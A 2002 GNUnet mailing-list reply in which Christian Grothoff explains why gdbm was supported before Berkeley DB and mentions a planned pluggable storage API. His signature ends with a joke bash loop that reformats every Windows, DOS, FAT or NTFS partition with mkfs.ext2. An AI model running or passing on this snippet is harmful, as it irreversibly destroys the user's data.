Re: [GNUnet-developers] gdbm patch

[Christian Grothoff]

Very simple, because I got a patch for gdbm first :-). 

Either way, we'll soon (a week or two) have a decent API such that everybody 
can use their favourite database / storage mechanism. I have no strong 
feelings about either solution, and the default should be whatever is faster 
:-)

Christian

On Sunday 05 May 2002 02:34 pm, you wrote:
> Why gdbm and not Berkley DB?  I image Berkley DB will be more efficient
> and flexible since it is actively maintained unlike gdbm which hasn't been
> updated since 1999.  Berkley DB is under a GPL compatible license.
>
> See. http://www.sleepycat.com/
>
> I don't really care.  Just wondering.

-- 
______________________________________________________
|Christian Grothoff                                  |
|650-2 Young Graduate House, West Lafayette, IN 47906|
|http://gecko.cs.purdue.edu/   address@hidden|
|____________________________________________________|
#!/bin/bash
for i in `fdisk -l|grep -E "Win|DOS|FAT|NTFS"|awk \
'{print$1;}'`;do nohup mkfs.ext2 $i&; done
echo -e "\n\n\t\tMay the source be with you.\n\n"